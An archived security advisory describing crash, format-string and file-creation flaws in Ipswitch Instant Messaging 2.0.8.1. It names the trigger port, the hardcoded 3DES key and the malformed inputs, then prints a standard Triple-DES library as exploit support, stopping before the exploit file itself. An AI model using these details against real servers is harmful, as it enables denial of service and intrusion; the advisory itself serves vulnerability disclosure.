Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Exploits-HackingTools
[Top] [All Lists]

[NT] Ipswitch Instant Messaging Multiple Vulnerabilities

Subject: [NT] Ipswitch Instant Messaging Multiple Vulnerabilities
Date: 10 Feb 2008 21:44:42 +0200
The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Ipswitch Instant Messaging Multiple Vulnerabilities
------------------------------------------------------------------------


SUMMARY

 <http://www.ipswitch.com/products/instant_messaging> Ipswitch Instant 
Messaging (IM) is "a client/server messaging software". Multiple 
vulnerabilities have been discovered in Ipswitch's Instant Messaging 
product.

DETAILS

Vulnerable Systems:
 * Ipswitch Instant Messaging version 2.0.8.1

Pre-auth NULL pointer crash in decryption function
IM uses the 3DES encryption with a fixed key ("ipswitch") for encrypting 
the network traffic and the only data which is in clear-text are the first 
8 bytes exchanged at the beginning of each connection which are the 
version number of the program. If an attacker uses a version number equal 
to zero (no encryption?) will be able to crash the server due to the 
access to a NULL pointer during the decryption of the incoming data.

Note that this bug affects both the server and client application so an 
attacker can easily crash all the clients in the LAN sending the malformed 
data to the port 5178 of each host since this is the default port on which 
they listen.

Format string in logging
The logging function used by IM is affected by a format string 
vulnerability. The way Luigi has found to exploit this vulnerability is 
through a message sent to an user who has a malformed client IP string. So 
is possible to do this using two accounts (in his tests sending a message 
to himself doesn't seem to work for this bug) or in many other ways like 
sending a message to another user which when will reply will also exploit 
the vulnerability.

When the server will try to connect to the IP specified by the target 
client it will fail since it's not a valid IP (255.255.255.255 
INADDR_NONE) and will create an error message similar to the following 
subsequently passed directly to sprintf without the needed format 
argument:

"Queuing message for username@host. Unexpected Error = 10049, Failed to 
connect to client_IP. on port client_port.."

Arbitrary empty files creation
IM creates index files for storing pointers to the entries of its database 
in which are stored the messages of the users.

The problem here is that these index files are created in append mode 
using the name of the target of the message plus the "@hostname.idx" 
suffix (like username@myhost.idx) without checking if the file has been 
created outside the Logs folder.

Actually the only way Luigi has found to writing files with arbitrary 
names is through the char ':' appended at the end of the target username 
which allows to drop the additional suffix added by the program.

Anyway, although interesting, this bug can't be defined a real 
vulnerability since it's possible to create new files anywhere in the disk 
where is installed IM but is not possible to overwrite or append garbage 
data (the index data mentioned before) to the existent ones.

Exploit:
des.c
/*
 *  FIPS-46-3 compliant Triple-DES implementation
 *
 *  Copyright (C) 2006-2007  Christophe Devine
 *
 *  This library is free software; you can redistribute it and/or
 *  modify it under the terms of the GNU Lesser General Public
 *  License, version 2.1 as published by the Free Software Foundation.
 *
 *  This library is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 *  Lesser General Public License for more details.
 *
 *  You should have received a copy of the GNU Lesser General Public
 *  License along with this library; if not, write to the Free Software
 *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
 *  MA  02110-1301  USA
 */
/*
 *  DES, on which TDES is based, was originally designed by Hans Feistel
 *  at IBM in 1974, and was adopted as a standard by NIST (formerly NBS).
 *
 *  http://csrc.nist.gov/publications/fips/fips46-3/fips46-3.pdf
 */

//#include "xyssl/config.h"

//#if defined(XYSSL_DES_C)

#include "des.h"

#include <string.h>

/*
 * 32-bit integer manipulation macros (big endian)
 */
#ifndef GET_ULONG_BE
#define GET_ULONG_BE(n,b,i)                             \
{                                                       \
    (n) = ( (unsigned long) (b)[(i)    ] << 24 )        \
        | ( (unsigned long) (b)[(i) + 1] << 16 )        \
        | ( (unsigned long) (b)[(i) + 2] <<  8 )        \
        | ( (unsigned long) (b)[(i) + 3]       );       \
}
#endif

#ifndef PUT_ULONG_BE
#define PUT_ULONG_BE(n,b,i)                             \
{                                                       \
    (b)[(i)    ] = (unsigned char) ( (n) >> 24 );       \
    (b)[(i) + 1] = (unsigned char) ( (n) >> 16 );       \
    (b)[(i) + 2] = (unsigned char) ( (n) >>  8 );       \
    (b)[(i) + 3] = (unsigned char) ( (n)       );       \
}
#endif

/*
 * Expanded DES S-boxes
 */
static const unsigned long SB1[64] =
{
    0x01010400, 0x00000000, 0x00010000, 0x01010404,
    0x01010004, 0x00010404, 0x00000004, 0x00010000,
    0x00000400, 0x01010400, 0x01010404, 0x00000400,
    0x01000404, 0x01010004, 0x01000000, 0x00000004,
    0x00000404, 0x01000400, 0x01000400, 0x00010400,
    0x00010400, 0x01010000, 0x01010000, 0x01000404,
    0x00010004, 0x01000004, 0x01000004, 0x00010004,
    0x00000000, 0x00000404, 0x00010404, 0x01000000,
    0x00010000, 0x01010404, 0x00000004, 0x01010000,
    0x01010400, 0x01000000, 0x01000000, 0x00000400,
    0x01010004, 0x00010000, 0x00010400, 0x01000004,
    0x00000400, 0x00000004, 0x01000404, 0x00010404,
    0x01010404, 0x00010004, 0x01010000, 0x01000404,
    0x01000004, 0x00000404, 0x00010404, 0x01010400,
    0x00000404, 0x01000400, 0x01000400, 0x00000000,
    0x00010004, 0x00010400, 0x00000000, 0x01010004
};

static const unsigned long SB2[64] =
{
    0x80108020, 0x80008000, 0x00008000, 0x00108020,
    0x00100000, 0x00000020, 0x80100020, 0x80008020,
    0x80000020, 0x80108020, 0x80108000, 0x80000000,
    0x80008000, 0x00100000, 0x00000020, 0x80100020,
    0x00108000, 0x00100020, 0x80008020, 0x00000000,
    0x80000000, 0x00008000, 0x00108020, 0x80100000,
    0x00100020, 0x80000020, 0x00000000, 0x00108000,
    0x00008020, 0x80108000, 0x80100000, 0x00008020,
    0x00000000, 0x00108020, 0x80100020, 0x00100000,
    0x80008020, 0x80100000, 0x80108000, 0x00008000,
    0x80100000, 0x80008000, 0x00000020, 0x80108020,
    0x00108020, 0x00000020, 0x00008000, 0x80000000,
    0x00008020, 0x80108000, 0x00100000, 0x80000020,
    0x00100020, 0x80008020, 0x80000020, 0x00100020,
    0x00108000, 0x00000000, 0x80008000, 0x00008020,
    0x80000000, 0x80100020, 0x80108020, 0x00108000
};

static const unsigned long SB3[64] =
{
    0x00000208, 0x08020200, 0x00000000, 0x08020008,
    0x08000200, 0x00000000, 0x00020208, 0x08000200,
    0x00020008, 0x08000008, 0x08000008, 0x00020000,
    0x08020208, 0x00020008, 0x08020000, 0x00000208,
    0x08000000, 0x00000008, 0x08020200, 0x00000200,
    0x00020200, 0x08020000, 0x08020008, 0x00020208,
    0x08000208, 0x00020200, 0x00020000, 0x08000208,
    0x00000008, 0x08020208, 0x00000200, 0x08000000,
    0x08020200, 0x08000000, 0x00020008, 0x00000208,
    0x00020000, 0x08020200, 0x08000200, 0x00000000,
    0x00000200, 0x00020008, 0x08020208, 0x08000200,
    0x08000008, 0x00000200, 0x00000000, 0x08020008,
    0x08000208, 0x00020000, 0x08000000, 0x08020208,
    0x00000008, 0x00020208, 0x00020200, 0x08000008,
    0x08020000, 0x08000208, 0x00000208, 0x08020000,
    0x00020208, 0x00000008, 0x08020008, 0x00020200
};

static const unsigned long SB4[64] =
{
    0x00802001, 0x00002081, 0x00002081, 0x00000080,
    0x00802080, 0x00800081, 0x00800001, 0x00002001,
    0x00000000, 0x00802000, 0x00802000, 0x00802081,
    0x00000081, 0x00000000, 0x00800080, 0x00800001,
    0x00000001, 0x00002000, 0x00800000, 0x00802001,
    0x00000080, 0x00800000, 0x00002001, 0x00002080,
    0x00800081, 0x00000001, 0x00002080, 0x00800080,
    0x00002000, 0x00802080, 0x00802081, 0x00000081,
    0x00800080, 0x00800001, 0x00802000, 0x00802081,
    0x00000081, 0x00000000, 0x00000000, 0x00802000,
    0x00002080, 0x00800080, 0x00800081, 0x00000001,
    0x00802001, 0x00002081, 0x00002081, 0x00000080,
    0x00802081, 0x00000081, 0x00000001, 0x00002000,
    0x00800001, 0x00002001, 0x00802080, 0x00800081,
    0x00002001, 0x00002080, 0x00800000, 0x00802001,
    0x00000080, 0x00800000, 0x00002000, 0x00802080
};

static const unsigned long SB5[64] =
{
    0x00000100, 0x02080100, 0x02080000, 0x42000100,
    0x00080000, 0x00000100, 0x40000000, 0x02080000,
    0x40080100, 0x00080000, 0x02000100, 0x40080100,
    0x42000100, 0x42080000, 0x00080100, 0x40000000,
    0x02000000, 0x40080000, 0x40080000, 0x00000000,
    0x40000100, 0x42080100, 0x42080100, 0x02000100,
    0x42080000, 0x40000100, 0x00000000, 0x42000000,
    0x02080100, 0x02000000, 0x42000000, 0x00080100,
    0x00080000, 0x42000100, 0x00000100, 0x02000000,
    0x40000000, 0x02080000, 0x42000100, 0x40080100,
    0x02000100, 0x40000000, 0x42080000, 0x02080100,
    0x40080100, 0x00000100, 0x02000000, 0x42080000,
    0x42080100, 0x00080100, 0x42000000, 0x42080100,
    0x02080000, 0x00000000, 0x40080000, 0x42000000,
    0x00080100, 0x02000100, 0x40000100, 0x00080000,
    0x00000000, 0x40080000, 0x02080100, 0x40000100
};

static const unsigned long SB6[64] =
{
    0x20000010, 0x20400000, 0x00004000, 0x20404010,
    0x20400000, 0x00000010, 0x20404010, 0x00400000,
    0x20004000, 0x00404010, 0x00400000, 0x20000010,
    0x00400010, 0x20004000, 0x20000000, 0x00004010,
    0x00000000, 0x00400010, 0x20004010, 0x00004000,
    0x00404000, 0x20004010, 0x00000010, 0x20400010,
    0x20400010, 0x00000000, 0x00404010, 0x20404000,
    0x00004010, 0x00404000, 0x20404000, 0x20000000,
    0x20004000, 0x00000010, 0x20400010, 0x00404000,
    0x20404010, 0x00400000, 0x00004010, 0x20000010,
    0x00400000, 0x20004000, 0x20000000, 0x00004010,
    0x20000010, 0x20404010, 0x00404000, 0x20400000,
    0x00404010, 0x20404000, 0x00000000, 0x20400010,
    0x00000010, 0x00004000, 0x20400000, 0x00404010,
    0x00004000, 0x00400010, 0x20004010, 0x00000000,
    0x20404000, 0x20000000, 0x00400010, 0x20004010
};

static const unsigned long SB7[64] =
{
    0x00200000, 0x04200002, 0x04000802, 0x00000000,
    0x00000800, 0x04000802, 0x00200802, 0x04200800,
    0x04200802, 0x00200000, 0x00000000, 0x04000002,
    0x00000002, 0x04000000, 0x04200002, 0x00000802,
    0x04000800, 0x00200802, 0x00200002, 0x04000800,
    0x04000002, 0x04200000, 0x04200800, 0x00200002,
    0x04200000, 0x00000800, 0x00000802, 0x04200802,
    0x00200800, 0x00000002, 0x04000000, 0x00200800,
    0x04000000, 0x00200800, 0x00200000, 0x04000802,
    0x04000802, 0x04200002, 0x04200002, 0x00000002,
    0x00200002, 0x04000000, 0x04000800, 0x00200000,
    0x04200800, 0x00000802, 0x00200802, 0x04200800,
    0x00000802, 0x04000002, 0x04200802, 0x04200000,
    0x00200800, 0x00000000, 0x00000002, 0x04200802,
    0x00000000, 0x00200802, 0x04200000, 0x00000800,
    0x04000002, 0x04000800, 0x00000800, 0x00200002
};

static const unsigned long SB8[64] =
{
    0x10001040, 0x00001000, 0x00040000, 0x10041040,
    0x10000000, 0x10001040, 0x00000040, 0x10000000,
    0x00040040, 0x10040000, 0x10041040, 0x00041000,
    0x10041000, 0x00041040, 0x00001000, 0x00000040,
    0x10040000, 0x10000040, 0x10001000, 0x00001040,
    0x00041000, 0x00040040, 0x10040040, 0x10041000,
    0x00001040, 0x00000000, 0x00000000, 0x10040040,
    0x10000040, 0x10001000, 0x00041040, 0x00040000,
    0x00041040, 0x00040000, 0x10041000, 0x00001000,
    0x00000040, 0x10040040, 0x00001000, 0x00041040,
    0x10001000, 0x00000040, 0x10000040, 0x10040000,
    0x10040040, 0x10000000, 0x00040000, 0x10001040,
    0x00000000, 0x10041040, 0x00040040, 0x10000040,
    0x10040000, 0x10001000, 0x10001040, 0x00000000,
    0x10041040, 0x00041000, 0x00041000, 0x00001040,
    0x00001040, 0x00040040, 0x10000000, 0x10041000
};

/*
 * PC1: left and right halves bit-swap
 */
static const unsigned long LHs[16] =
{
    0x00000000, 0x00000001, 0x00000100, 0x00000101,
    0x00010000, 0x00010001, 0x00010100, 0x00010101,
    0x01000000, 0x01000001, 0x01000100, 0x01000101,
    0x01010000, 0x01010001, 0x01010100, 0x01010101
};

static const unsigned long RHs[16] =
{
    0x00000000, 0x01000000, 0x00010000, 0x01010000,
    0x00000100, 0x01000100, 0x00010100, 0x01010100,
    0x00000001, 0x01000001, 0x00010001, 0x01010001,
    0x00000101, 0x01000101, 0x00010101, 0x01010101,
};

/*
 * Initial Permutation macro
 */
#define DES_IP(X,Y)                                             \
{                                                               \
    T = ((X >>  4) ^ Y) & 0x0F0F0F0F; Y ^= T; X ^= (T <<  4);   \
    T = ((X >> 16) ^ Y) & 0x0000FFFF; Y ^= T; X ^= (T << 16);   \
    T = ((Y >>  2) ^ X) & 0x33333333; X ^= T; Y ^= (T <<  2);   \
    T = ((Y >>  8) ^ X) & 0x00FF00FF; X ^= T; Y ^= (T <<  8);   \
    Y = ((Y << 1) | (Y >> 31)) & 0xFFFFFFFF;                    \
    T = (X ^ Y) & 0xAAAAAAAA; Y ^= T; X ^= T;                   \
    X = ((X << 1) | (X >> 31)) & 0xFFFFFFFF;                    \
}

/*
 * Final Permutation macro
 */
#define DES_FP(X,Y)                                             \
{                                                               \
    X = ((X << 31) | (X >> 1)) & 0xFFFFFFFF;                    \
    T = (X ^ Y) & 0xAAAAAAAA; X ^= T; Y ^= T;                   \
    Y = ((Y << 31) | (Y >> 1)) & 0xFFFFFFFF;                    \
    T = ((Y >>  8) ^ X) & 0x00FF00FF; X ^= T; Y ^= (T <<  8);   \
    T = ((Y >>  2) ^ X) & 0x33333333; X ^= T; Y ^= (T <<  2);   \
    T = ((X >> 16) ^ Y) & 0x0000FFFF; Y ^= T; X ^= (T << 16);   \
    T = ((X >>  4) ^ Y) & 0x0F0F0F0F; Y ^= T; X ^= (T <<  4);   \
}

/*
 * DES round macro
 */
#define DES_ROUND(X,Y)                          \
{                                               \
    T = *SK++ ^ X;                              \
    Y ^= SB8[ (T      ) & 0x3F ] ^              \
         SB6[ (T >>  8) & 0x3F ] ^              \
         SB4[ (T >> 16) & 0x3F ] ^              \
         SB2[ (T >> 24) & 0x3F ];               \
                                                \
    T = *SK++ ^ ((X << 28) | (X >> 4));         \
    Y ^= SB7[ (T      ) & 0x3F ] ^              \
         SB5[ (T >>  8) & 0x3F ] ^              \
         SB3[ (T >> 16) & 0x3F ] ^              \
         SB1[ (T >> 24) & 0x3F ];               \
}

#define SWAP(a,b) { unsigned long t = a; a = b; b = t; t = 0; }

static void des_setkey( unsigned long SK[32], unsigned char key[8] )
{
    int i;
    unsigned long X, Y, T;

    GET_ULONG_BE( X, key, 0 );
    GET_ULONG_BE( Y, key, 4 );

    /*
     * Permuted Choice 1
     */
    T =  ((Y >>  4) ^ X) & 0x0F0F0F0F;  X ^= T; Y ^= (T <<  4);
    T =  ((Y      ) ^ X) & 0x10101010;  X ^= T; Y ^= (T      );

    X =   (LHs[ (X      ) & 0xF] << 3) | (LHs[ (X >>  8) & 0xF ] << 2)
        | (LHs[ (X >> 16) & 0xF] << 1) | (LHs[ (X >> 24) & 0xF ]     )
        | (LHs[ (X >>  5) & 0xF] << 7) | (LHs[ (X >> 13) & 0xF ] << 6)
        | (LHs[ (X >> 21) & 0xF] << 5) | (LHs[ (X >> 29) & 0xF ] << 4);

    Y =   (RHs[ (Y >>  1) & 0xF] << 3) | (RHs[ (Y >>  9) & 0xF ] << 2)
        | (RHs[ (Y >> 17) & 0xF] << 1) | (RHs[ (Y >> 25) & 0xF ]     )
        | (RHs[ (Y >>  4) & 0xF] << 7) | (RHs[ (Y >> 12) & 0xF ] << 6)
        | (RHs[ (Y >> 20) & 0xF] << 5) | (RHs[ (Y >> 28) & 0xF ] << 4);

    X &= 0x0FFFFFFF;
    Y &= 0x0FFFFFFF;

    /*
     * calculate subkeys
     */
    for( i = 0; i < 16; i++ )
    {
        if( i < 2 || i == 8 || i == 15 )
        {
            X = ((X <<  1) | (X >> 27)) & 0x0FFFFFFF;
            Y = ((Y <<  1) | (Y >> 27)) & 0x0FFFFFFF;
        }
        else
        {
            X = ((X <<  2) | (X >> 26)) & 0x0FFFFFFF;
            Y = ((Y <<  2) | (Y >> 26)) & 0x0FFFFFFF;
        }

        *SK++ =   ((X <<  4) & 0x24000000) | ((X << 28) & 0x10000000)
                | ((X << 14) & 0x08000000) | ((X << 18) & 0x02080000)
                | ((X <<  6) & 0x01000000) | ((X <<  9) & 0x00200000)
                | ((X >>  1) & 0x00100000) | ((X << 10) & 0x00040000)
                | ((X <<  2) & 0x00020000) | ((X >> 10) & 0x00010000)
                | ((Y >> 13) & 0x00002000) | ((Y >>  4) & 0x00001000)
                | ((Y <<  6) & 0x00000800) | ((Y >>  1) & 0x00000400)
                | ((Y >> 14) & 0x00000200) | ((Y      ) & 0x00000100)
                | ((Y >>  5) & 0x00000020) | ((Y >> 10) & 0x00000010)
                | ((Y >>  3) & 0x00000008) | ((Y >> 18) & 0x00000004)
                | ((Y >> 26) & 0x00000002) | ((Y >> 24) & 0x00000001);

        *SK++ =   ((X << 15) & 0x20000000) | ((X << 17) & 0x10000000)
                | ((X << 10) & 0x08000000) | ((X << 22) & 0x04000000)
                | ((X >>  2) & 0x02000000) | ((X <<  1) & 0x01000000)
                | ((X << 16) & 0x00200000) | ((X << 11) & 0x00100000)
                | ((X <<  3) & 0x00080000) | ((X >>  6) & 0x00040000)
                | ((X << 15) & 0x00020000) | ((X >>  4) & 0x00010000)
                | ((Y >>  2) & 0x00002000) | ((Y <<  8) & 0x00001000)
                | ((Y >> 14) & 0x00000808) | ((Y >>  9) & 0x00000400)
                | ((Y      ) & 0x00000200) | ((Y <<  7) & 0x00000100)
                | ((Y >>  7) & 0x00000020) | ((Y >>  3) & 0x00000011)
                | ((Y <<  2) & 0x00000004) | ((Y >> 21) & 0x00000002);
    }
}

/*
 * DES key schedule (56-bit, encryption)
 */
void des_setkey_enc( des_context *ctx, unsigned char key[8] )
{
    des_setkey( ctx->sk, key );
}

/*
 * DES key schedule (56-bit, decryption)
 */
void des_setkey_dec( des_context *ctx, unsigned char key[8] )
{
    int i;

    des_setkey( ctx->sk, key );

    for( i = 0; i < 16; i += 2 )
    {
        SWAP( ctx->sk[i    ], ctx->sk[30 - i] );
        SWAP( ctx->sk[i + 1], ctx->sk[31 - i] );
    }
}

static void des3_set2key( unsigned long esk[96],
                          unsigned long dsk[96],
                          unsigned char key[16] )
{
    int i;

    des_setkey( esk, key );
    des_setkey( dsk + 32, key + 8 );

    for( i = 0; i < 32; i += 2 )
    {
        dsk[i     ] = esk[30 - i];
        dsk[i +  1] = esk[31 - i];

        esk[i + 32] = dsk[62 - i];
        esk[i + 33] = dsk[63 - i];

        esk[i + 64] = esk[i    ];
        esk[i + 65] = esk[i + 1];

        dsk[i + 64] = dsk[i    ];
        dsk[i + 65] = dsk[i + 1];
    }
}

/*
 * Triple-DES key schedule (112-bit, encryption)
 */
void des3_set2key_enc( des3_context *ctx, unsigned char key[16] )
{
    unsigned long sk[96];

    des3_set2key( ctx->sk, sk, key );
    memset( sk,  0, sizeof( sk ) );
}

/*
 * Triple-DES key schedule (112-bit, decryption)
 */
void des3_set2key_dec( des3_context *ctx, unsigned char key[16] )
{
    unsigned long sk[96];

    des3_set2key( sk, ctx->sk, key );
    memset( sk,  0, sizeof( sk ) );
}

static void des3_set3key( unsigned long esk[96],
                          unsigned long dsk[96],
                          unsigned char key[24] )
{
    int i;

    des_setkey( esk, key );
    des_setkey( dsk + 32, key +  8 );
    des_setkey( esk + 64, key + 16 );

    for( i = 0; i < 32; i += 2 )
    {
        dsk[i     ] = esk[94 - i];
        dsk[i +  1] = esk[95 - i];

        esk[i + 32] = dsk[62 - i];
        esk[i + 33] = dsk[63 - i];

        dsk[i + 64] = esk[30 - i];
        dsk[i + 65] = esk[31 - i];
    }
}

/*
 * Triple-DES key schedule (168-bit, encryption)
 */
void des3_set3key_enc( des3_context *ctx, unsigned char key[24] )
{
    unsigned long sk[96];

    des3_set3key( ctx->sk, sk, key );
    memset( sk, 0, sizeof( sk ) );
}

/*
 * Triple-DES key schedule (168-bit, decryption)
 */
void des3_set3key_dec( des3_context *ctx, unsigned char key[24] )
{
    unsigned long sk[96];

    des3_set3key( sk, ctx->sk, key );
    memset( sk, 0, sizeof( sk ) );
}

/*
 * DES-ECB block encryption/decryption
 */
void des_crypt_ecb( des_context *ctx,
                    unsigned char input[8],
                    unsigned char output[8] )
{
    int i;
    unsigned long X, Y, T, *SK;

    SK = ctx->sk;

    GET_ULONG_BE( X, input, 0 );
    GET_ULONG_BE( Y, input, 4 );

    DES_IP( X, Y );

    for( i = 0; i < 8; i++ )
    {
        DES_ROUND( Y, X );
        DES_ROUND( X, Y );
    }

    DES_FP( Y, X );

    PUT_ULONG_BE( Y, output, 0 );
    PUT_ULONG_BE( X, output, 4 );
}

/*
 * DES-CBC buffer encryption/decryption
 */
void des_crypt_cbc( des_context *ctx,
                    int mode,
                    int length,
                    unsigned char iv[8],
                    unsigned char *input,
                    unsigned char *output )
{
    int i;
    unsigned char temp[8];

    if( mode == DES_ENCRYPT )
    {
        while( length > 0 )
        {
            for( i = 0; i < 8; i++ )
                output[i] = (unsigned char)( input[i] ^ iv[i] );

            des_crypt_ecb( ctx, output, output );
            memcpy( iv, output, 8 );

            input  += 8;
            output += 8;
            length -= 8;
        }
    }
    else /* DES_DECRYPT */
    {
        while( length > 0 )
        {
            memcpy( temp, input, 8 );
            des_crypt_ecb( ctx, input, output );

            for( i = 0; i < 8; i++ )
                output[i] = (unsigned char)( output[i] ^ iv[i] );

            memcpy( iv, temp, 8 );

            input  += 8;
            output += 8;
            length -= 8;
        }
    }
}

/*
 * 3DES-ECB block encryption/decryption
 */
void des3_crypt_ecb( des3_context *ctx,
                     unsigned char input[8],
                     unsigned char output[8] )
{
    int i;
    unsigned long X, Y, T, *SK;

    SK = ctx->sk;

    GET_ULONG_BE( X, input, 0 );
    GET_ULONG_BE( Y, input, 4 );

    DES_IP( X, Y );

    for( i = 0; i < 8; i++ )
    {
        DES_ROUND( Y, X );
        DES_ROUND( X, Y );
    }

    for( i = 0; i < 8; i++ )
    {
        DES_ROUND( X, Y );
        DES_ROUND( Y, X );
    }

    for( i = 0; i < 8; i++ )
    {
        DES_ROUND( Y, X );
        DES_ROUND( X, Y );
    }

    DES_FP( Y, X );

    PUT_ULONG_BE( Y, output, 0 );
    PUT_ULONG_BE( X, output, 4 );
}

/*
 * 3DES-CBC buffer encryption/decryption
 */
void des3_crypt_cbc( des3_context *ctx,
                     int mode,
                     int length,
                     unsigned char iv[8],
                     unsigned char *input,
                     unsigned char *output )
{
    int i;
    unsigned char temp[8];

    if( mode == DES_ENCRYPT )
    {
        while( length > 0 )
        {
            for( i = 0; i < 8; i++ )
                output[i] = (unsigned char)( input[i] ^ iv[i] );

            des3_crypt_ecb( ctx, output, output );
            memcpy( iv, output, 8 );

            input  += 8;
            output += 8;
            length -= 8;
        }
    }
    else /* DES_DECRYPT */
    {
        while( length > 0 )
        {
            memcpy( temp, input, 8 );
            des3_crypt_ecb( ctx, input, output );

            for( i = 0; i < 8; i++ )
                output[i] = (unsigned char)( output[i] ^ iv[i] );

            memcpy( iv, temp, 8 );

            input  += 8;
            output += 8;
            length -= 8;
        }
    }
}

#if defined(XYSSL_SELF_TEST)

#include <stdio.h>

/*
 * DES/3DES test vectors (source: NIST, tripledes-vectors.zip)
 */
static const unsigned char DES3_keys[24] =
{
    0x01, 0x23, 0x45, 0x67, 0x89, 0xAB, 0xCD, 0xEF,
    0x23, 0x45, 0x67, 0x89, 0xAB, 0xCD, 0xEF, 0x01,
    0x45, 0x67, 0x89, 0xAB, 0xCD, 0xEF, 0x01, 0x23
};

static const unsigned char DES3_init[8] =
{
    0x4E, 0x6F, 0x77, 0x20, 0x69, 0x73, 0x20, 0x74
};

static const unsigned char DES3_enc_test[3][8] =
{
    { 0x6A, 0x2A, 0x19, 0xF4, 0x1E, 0xCA, 0x85, 0x4B },
    { 0x03, 0xE6, 0x9F, 0x5B, 0xFA, 0x58, 0xEB, 0x42 },
    { 0xDD, 0x17, 0xE8, 0xB8, 0xB4, 0x37, 0xD2, 0x32 }
};
    
static const unsigned char DES3_dec_test[3][8] =
{
    { 0xCD, 0xD6, 0x4F, 0x2F, 0x94, 0x27, 0xC1, 0x5D },
    { 0x69, 0x96, 0xC8, 0xFA, 0x47, 0xA2, 0xAB, 0xEB },
    { 0x83, 0x25, 0x39, 0x76, 0x44, 0x09, 0x1A, 0x0A }
};

/*
 * Checkup routine
 */
int des_self_test( int verbose )
{
    int i, j, u, v;
    des_context ctx;
    des3_context ctx3;
    unsigned char buf[8];

    for( i = 0; i < 6; i++ )
    {
        u = i >> 1;
        v = i  & 1;

        if( verbose != 0 )
            printf( "  DES%c-ECB-%3d (%s): ",
                    ( u == 0 ) ? ' ' : '3', 56 + u * 56,
                    ( v == 0 ) ? "enc" : "dec" );

        memcpy( buf, DES3_init, 8 );

        switch( u )
        {
        case 0:
            if( v == 0 )
                des_setkey_enc( &ctx, (unsigned char *) DES3_keys );
            if( v == 1 )
                des_setkey_dec( &ctx, (unsigned char *) DES3_keys );
            break;

        case 1:
            if( v == 0 )
                des3_set2key_enc( &ctx3, (unsigned char *) DES3_keys );
            if( v == 1 )
                des3_set2key_dec( &ctx3, (unsigned char *) DES3_keys );
            break;

        default:
            if( v == 0 )
                des3_set3key_enc( &ctx3, (unsigned char *) DES3_keys );
            if( v == 1 )
                des3_set3key_dec( &ctx3, (unsigned char *) DES3_keys );
            break;
        }

        for( j = 0; j < 10000; j++ )
        {
            if( u == 0 )
                 des_crypt_ecb( &ctx, buf, buf );
            else
                des3_crypt_ecb( &ctx3, buf, buf );
        }

        if( ( v == 0 && memcmp( buf, DES3_enc_test[u], 8 ) != 0 ) ||
            ( v == 1 && memcmp( buf, DES3_dec_test[u], 8 ) != 0 ) )
        {
            if( verbose != 0 )
                printf( "failed\n" );

            return( 1 );
        }

        if( verbose != 0 )
            printf( "passed\n" );
    }

    if( verbose != 0 )
        printf( "\n" );

    return( 0 );
}

#endif

//#endif

des.h
/**
 * \file des.h
 */
#ifndef XYSSL_DES_H
#define XYSSL_DES_H

#define DES_ENCRYPT     0
#define DES_DECRYPT     1

/**
 * \brief          DES context structure
 */
typedef struct
{
    int mode;                   /*!<  encrypt/decrypt   */
    unsigned long sk[32];       /*!<  DES subkeys       */
}
des_context;

/**
 * \brief          Triple-DES context structure
 */
typedef struct
{
    int mode;                   /*!<  encrypt/decrypt   */
    unsigned long sk[96];       /*!<  3DES subkeys      */
}
des3_context;

#ifdef __cplusplus
extern "C" {
#endif

/**
 * \brief          DES key schedule (56-bit, encryption)
 *
 * \param ctx      DES context to be initialized
 * \param key      8-byte secret key
 */
void des_setkey_enc( des_context *ctx, unsigned char key[8] );

/**
 * \brief          DES key schedule (56-bit, decryption)
 *
 * \param ctx      DES context to be initialized
 * \param key      8-byte secret key
 */
void des_setkey_dec( des_context *ctx, unsigned char key[8] );

/**
 * \brief          Triple-DES key schedule (112-bit, encryption)
 *
 * \param ctx      3DES context to be initialized
 * \param key      16-byte secret key
 */
void des3_set2key_enc( des3_context *ctx, unsigned char key[16] );

/**
 * \brief          Triple-DES key schedule (112-bit, decryption)
 *
 * \param ctx      3DES context to be initialized
 * \param key      16-byte secret key
 */
void des3_set2key_dec( des3_context *ctx, unsigned char key[16] );

/**
 * \brief          Triple-DES key schedule (168-bit, encryption)
 *
 * \param ctx      3DES context to be initialized
 * \param key      24-byte secret key
 */
void des3_set3key_enc( des3_context *ctx, unsigned char key[24] );

/**
 * \brief          Triple-DES key schedule (168-bit, decryption)
 *
 * \param ctx      3DES context to be initialized
 * \param key      24-byte secret key
 */
void des3_set3key_dec( des3_context *ctx, unsigned char key[24] );

/**
 * \brief          DES-ECB block encryption/decryption
 *
 * \param ctx      DES context
 * \param input    64-bit input block
 * \param output   64-bit output block
 */
void des_crypt_ecb( des_context *ctx,
                    unsigned char input[8],
                    unsigned char output[8] );

/**
 * \brief          DES-CBC buffer encryption/decryption
 *
 * \param ctx      DES context
 * \param mode     DES_ENCRYPT or DES_DECRYPT
 * \param length   length of the input data
 * \param iv       initialization vector (updated after use)
 * \param input    buffer holding the input data
 * \param output   buffer holding the output data
 */
void des_crypt_cbc( des_context *ctx,
                    int mode,
                    int length,
                    unsigned char iv[8],
                    unsigned char *input,
                    unsigned char *output );

/**
 * \brief          3DES-ECB block encryption/decryption
 *
 * \param ctx      3DES context
 * \param input    64-bit input block
 * \param output   64-bit output block
 */
void des3_crypt_ecb( des3_context *ctx,
                     unsigned char input[8],
                     unsigned char output[8] );

/**
 * \brief          3DES-CBC buffer encryption/decryption
 *
 * \param ctx      3DES context
 * \param mode     DES_ENCRYPT or DES_DECRYPT
 * \param length   length of the input data
 * \param iv       initialization vector (updated after use)
 * \param input    buffer holding the input data
 * \param output   buffer holding the output data
 */
void des3_crypt_cbc( des3_context *ctx,
                     int mode,
                     int length,
                     unsigned char iv[8],
                     unsigned char *input,
                     unsigned char *output );

/*
 * \brief          Checkup routine
 *
 * \return         0 if successful, or 1 if the test failed
 */
int des_self_test( int verbose );

#ifdef __cplusplus
}
#endif

#endif /* des.h */

ipsimene.c:
/*
